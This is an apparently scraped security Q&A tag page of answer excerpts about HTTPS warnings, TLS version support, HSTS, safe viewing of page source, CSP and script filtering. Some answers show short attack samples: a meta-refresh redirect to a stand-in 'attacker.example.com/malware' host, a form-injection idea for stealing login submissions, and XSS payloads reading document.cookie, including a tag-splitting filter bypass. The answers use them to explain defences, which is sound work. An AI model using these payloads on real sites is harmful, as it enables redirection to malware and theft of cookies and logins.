Tag Info

New answers tagged

0

"Secure enough" and "trusted" are risky phrases. If you're talking about transmitting a credit card number, email address, SSN, or other personal information unencrypted as plain text via a URL parameter then this is definitely unsecure, regardless of where it is going. The page would need to be an encrypted page for that information to be encrypted in ...


1

Such a setup can be trusted, since the payment details cannot be extracted by your hacker and the payment details can be verified securely. The thing to watch out for is that a lot of user might not bother to double-check the details on the https page, or if there are 'hidden' paramaters sent along that aren't displayed and verified explicitly.


0

You could try to do a redirect to another URL using meta-tags: <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware"> And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP. <form ...


0

I'm going to help you with some of them. How can I ensure that the pages accessing is secure enough for data transmission , sql injection and several other attacks. For data transmission you should use HTTPS, avoiding attacks between client and server. Security concern should be addressed when developing the application, choosing a programming ...


2

When the https portion of the URL in Chrome has a red line through it, there is a problem with the security of the site you are going to. To see exactly what the problem is, you need to click on the padlock and see the detailed connection info. Detailed connection info is documented here. If you see , then you've established a secure connection with a ...


0

You're referring to when web browsers draw a red line through the "https://" in their URL bars. It means that the browser does not trust the certificate that the site is using, for many possible reasons: it isn't signed by one of the root CA certificates that the browser implicitly trusts it's signed by a root CA certificate that the browser used to ...


0

There is no security benefit in disabling TLS1.1 and 1.2 and there is actually no compatibility benefit either*. The reasons why some sites only support TLS1 is, that the software and/or configuration is simply too old. * On server side. It is unfortunatelly a bit different for clients which have to talk to very old and broken servers. They might not want ...


3

is there some good reason from a security perspective to allow only TLS 1.0, or is it simply pure "laziness" It is in most cases just the TLS stack used. One of the most common stacks in web servers on UNIX/Linux is OpenSSL and the still widely used (and supported) versions 0.9.8 and 1.0.0 can do only TLS 1.0 and lower. TLS 1.1 and TLS 1.2 were only ...


2

No, there is absolutely no security related reason to continue to support TLS 1.0, but there are several other business concerns which can twist the arm of a system engineer into allowing it. For larger sites, they may be trying not to leave people with older browsers out in the cold. For some situations, the person publishing the website needs to assume you ...


4

I worked on this problem for an email scanning system, and can say that the lexical properties of URLs for maliciousness are minimal, especially with the constraints you are imposing. It's true that malicious URLs often "Look random", but that's because your experience has transformed "imgur.com/gallery/lBKRZ" into "harmless image server gallery", but ...


20

While it is currently safe on Chrome you should not base your future checks on that. Things may change anytime and I have not seen the lack of rendering as being a specifically documented feature. If you want to look at the code, it is much better to download the page via a command-line tool (curl for instance) and analyze what was loaded and saved in a ...


31

Yes, it is absolutely safe (in Google Chrome) to open an untrusted website in view-source mode. The key point to note here is that you should "open" the page in view-source mode, meaning you should not allow any rendering to happen by normally loading the webpage first and then viewing the source. An example in Google Chrome would be ...


1

HPKP does not address this need. HPKP is an extension to the HTTP protocol allowing website administrators to provide specific pining information to the browser, allowing: To check that at least one of the certificate composing the authentication chain of the current HTTPS connection (depending on the platform architecture architecture, the server ...


19

This client behavior is prohibited by section 8.1 of the RFC: If an HTTP response is received over insecure transport, the UA MUST ignore any present STS header field(s). The spec prohibits severs from sending insecure HSTS directives and clients from processing insecure HSTS directives. This ensures that a faulty implementation in either a server or ...


3

This may be to avoid the use of this header to cause a denial of service attack. Imagine an insecure HTTP-only website. Now imagine someone able to tamper with the HTTP headers sent by this site to add an HSTS header. According to the RFC: The UA should stop trying to access the site through HTTP, and try to use HTTPS only instead. If the UA is unable to ...


1

I think this extension is quite simple and generally safe to use for two reasons: Firstly, on Q. When does HTTPS Everywhere protect me? When does it not protect me? section on HTTPS Everywhere website FAQ page HTTPS Everywhere depends entirely on the security features of the individual web sites that you use; it activates those security features, ...


2

The statement is not untrue but IS possibly misleading. Certainly files are in fact cached while the in-private session is active, they are then cleared at the end. Of course, we all know this could leave a footprint. In-private sessions are not really meant to prevent someone from discovering a footprint but more to prevent inadvertent "bleed" between ...


8

No, stripping <script> tags is useless because you could still execute a javascript payload like this: <input onmouseover=prompt(document.cookie)> And bypassing the filter should also be quite easy, imagine what would happen if a payload like this sent: <scr<script>ipt> As far as what type of software they are using, well ...


0

Short answer, yes. One reason is that you're increasing your attack surface without maintaining part of it. Another is that adversaries continue to try decades-old exploits for exactly that reason. Firefox isn't a firewall or IDS/IPS designed to protect the soft insides of your system. Rich and interactive, it's designed for a pleasant experience, with ...



Top 50 recent answers are included